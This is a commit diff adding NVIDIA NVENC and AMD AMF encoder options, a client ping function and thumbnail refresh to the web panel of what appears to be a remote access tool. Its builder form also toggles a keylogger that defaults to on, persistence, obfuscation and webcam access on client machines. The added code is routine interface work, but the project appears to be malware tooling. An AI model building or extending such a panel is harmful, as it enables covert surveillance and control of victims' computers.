AMF + NVENC control and support
This commit is contained in:
@@ -188,6 +188,8 @@ function setBuildField(field, value) {
|
||||
garbleLiterals: 'input[name="garble-literals"]',
|
||||
garbleTiny: 'input[name="garble-tiny"]',
|
||||
disableCgo: 'input[name="disable-cgo"]',
|
||||
enableNvenc: 'input[name="enable-nvenc"]',
|
||||
enableAmf: 'input[name="enable-amf"]',
|
||||
stripDebug: 'input[name="strip-debug"]',
|
||||
noPrinting: 'input[name="no-printing"]',
|
||||
enableWebrtc: 'input[name="enable-webrtc"]',
|
||||
@@ -455,6 +457,8 @@ function collectFormSettings() {
|
||||
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
|
||||
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
|
||||
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
|
||||
enableNvenc: document.querySelector('input[name="enable-nvenc"]')?.checked ?? true,
|
||||
enableAmf: document.querySelector('input[name="enable-amf"]')?.checked ?? true,
|
||||
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
||||
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
||||
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
|
||||
@@ -522,6 +526,8 @@ function applyFormSettings(settings) {
|
||||
if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
|
||||
if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug);
|
||||
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
|
||||
if (settings.enableNvenc !== undefined) setCb('input[name="enable-nvenc"]', settings.enableNvenc);
|
||||
if (settings.enableAmf !== undefined) setCb('input[name="enable-amf"]', settings.enableAmf);
|
||||
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
||||
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
||||
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
|
||||
@@ -1692,6 +1698,8 @@ form?.addEventListener("submit", async (e) => {
|
||||
const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false;
|
||||
const stripDebug = form.querySelector('input[name="strip-debug"]').checked;
|
||||
const disableCgo = form.querySelector('input[name="disable-cgo"]').checked;
|
||||
const enableNvenc = form.querySelector('input[name="enable-nvenc"]')?.checked ?? true;
|
||||
const enableAmf = form.querySelector('input[name="enable-amf"]')?.checked ?? true;
|
||||
const obfuscate = form.querySelector('input[name="obfuscate"]').checked;
|
||||
const enablePersistence = form.querySelector(
|
||||
'input[name="enable-persistence"]',
|
||||
@@ -1739,6 +1747,8 @@ form?.addEventListener("submit", async (e) => {
|
||||
disableMutex,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc,
|
||||
enableAmf,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
|
||||
|
||||
@@ -346,6 +346,23 @@ export async function sendCommand(clientId, action) {
|
||||
}
|
||||
}
|
||||
|
||||
export async function pingClientNow(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "ping", waitForResult: true }),
|
||||
});
|
||||
if (!res.ok) throw new Error(`ping failed ${res.status}`);
|
||||
const result = await res.json().catch(() => ({}));
|
||||
await loadWithOptions({ force: true, reorder: false });
|
||||
return Boolean(result?.updated);
|
||||
} catch (err) {
|
||||
console.error("Failed to refresh ping:", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export async function fetchVoiceCapabilities(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
@@ -375,15 +392,26 @@ export async function requestPreview(clientId) {
|
||||
|
||||
export async function requestThumbnail(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/thumbnail`, {
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/thumbnail`, {
|
||||
method: "POST",
|
||||
headers: { "x-overlord-thumbnail-source": "manual" },
|
||||
});
|
||||
if (res.ok) {
|
||||
const data = await res.json();
|
||||
if (data.ok) {
|
||||
await loadWithOptions({ force: true });
|
||||
setTimeout(() => loadWithOptions({ force: true }), 250);
|
||||
setTimeout(() => loadWithOptions({ force: true }), 800);
|
||||
if (data.updated && Number(data.version) > 0) {
|
||||
const escapedId = typeof CSS !== "undefined" && CSS.escape ? CSS.escape(clientId) : clientId;
|
||||
document.querySelectorAll(`[data-thumb-client="${escapedId}"]`).forEach((host) => {
|
||||
const img = host.querySelector("img[data-thumb-img]");
|
||||
if (!img) return;
|
||||
const url = `/api/clients/${encodeURIComponent(clientId)}/thumbnail?v=${Number(data.version)}`;
|
||||
host.dataset.thumbVersion = String(data.version);
|
||||
img.dataset.thumbUrl = url;
|
||||
img.src = url;
|
||||
img.style.display = "block";
|
||||
});
|
||||
}
|
||||
await loadWithOptions({ force: true, reorder: false });
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ import {
|
||||
renderCachedClients,
|
||||
startAutoRefresh,
|
||||
sendCommand,
|
||||
pingClientNow,
|
||||
requestPreview,
|
||||
requestThumbnail,
|
||||
markManualDisconnect,
|
||||
@@ -1032,6 +1033,15 @@ document.querySelectorAll(".dashboard-menu").forEach((details) => {
|
||||
|
||||
let dashboardThumbnailLoader = null;
|
||||
|
||||
function refreshDashboardThumbnail(clientId) {
|
||||
if (dashboardThumbnailLoader?.refreshNow(clientId)) {
|
||||
return;
|
||||
}
|
||||
// The loader initializes asynchronously; preserve manual refreshes made
|
||||
// before it is ready.
|
||||
requestThumbnail(clientId);
|
||||
}
|
||||
|
||||
async function isDashboardThumbnailEnabled() {
|
||||
try {
|
||||
const res = await fetch("/api/settings/thumbnails", { credentials: "include" });
|
||||
@@ -1105,8 +1115,8 @@ function initializeRenderer() {
|
||||
},
|
||||
openModal,
|
||||
requestPreview,
|
||||
requestThumbnail,
|
||||
pingClient: (id) => sendCommand(id, "ping"),
|
||||
requestThumbnail: refreshDashboardThumbnail,
|
||||
pingClient: pingClientNow,
|
||||
onOpenWebcam: (id) => window.open(`/webcam?clientId=${encodeURIComponent(id)}`, "_blank", "noopener"),
|
||||
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
|
||||
onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }),
|
||||
|
||||
@@ -518,6 +518,10 @@ export function createRenderer({
|
||||
|
||||
const thumbImg = e.target.closest(".thumb-img");
|
||||
if (thumbImg) {
|
||||
if (card.dataset.online === "true") {
|
||||
if (pingClient) pingClient(clientId);
|
||||
requestThumbnail(clientId);
|
||||
}
|
||||
if (thumbImg.src) openModal(thumbImg.src);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -157,11 +157,14 @@ export class ThumbnailLoader {
|
||||
}
|
||||
|
||||
refreshNow(clientId) {
|
||||
let touched = false;
|
||||
for (const rec of this.records.values()) {
|
||||
if (clientId && rec.clientId !== clientId) continue;
|
||||
rec.lastTriggerAt = 0;
|
||||
touched = true;
|
||||
}
|
||||
this.tick();
|
||||
return touched;
|
||||
}
|
||||
|
||||
applyVersion(element, rec) {
|
||||
|
||||
@@ -679,6 +679,22 @@
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
|
||||
<input type="checkbox" name="enable-nvenc" class="w-4 h-4" checked />
|
||||
<div class="flex flex-col">
|
||||
<span><i class="fa-solid fa-microchip text-green-400 mr-2"></i>Include NVIDIA NVENC</span>
|
||||
<span class="text-xs text-slate-500">Native NVIDIA H.264 acceleration for Windows CGO builds</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-red-500 transition-colors">
|
||||
<input type="checkbox" name="enable-amf" class="w-4 h-4" checked />
|
||||
<div class="flex flex-col">
|
||||
<span><i class="fa-solid fa-microchip text-red-400 mr-2"></i>Include AMD AMF</span>
|
||||
<span class="text-xs text-slate-500">Native AMD H.264 acceleration for Windows CGO builds</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
|
||||
<input type="checkbox" name="enable-winre" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
|
||||
Reference in New Issue
Block a user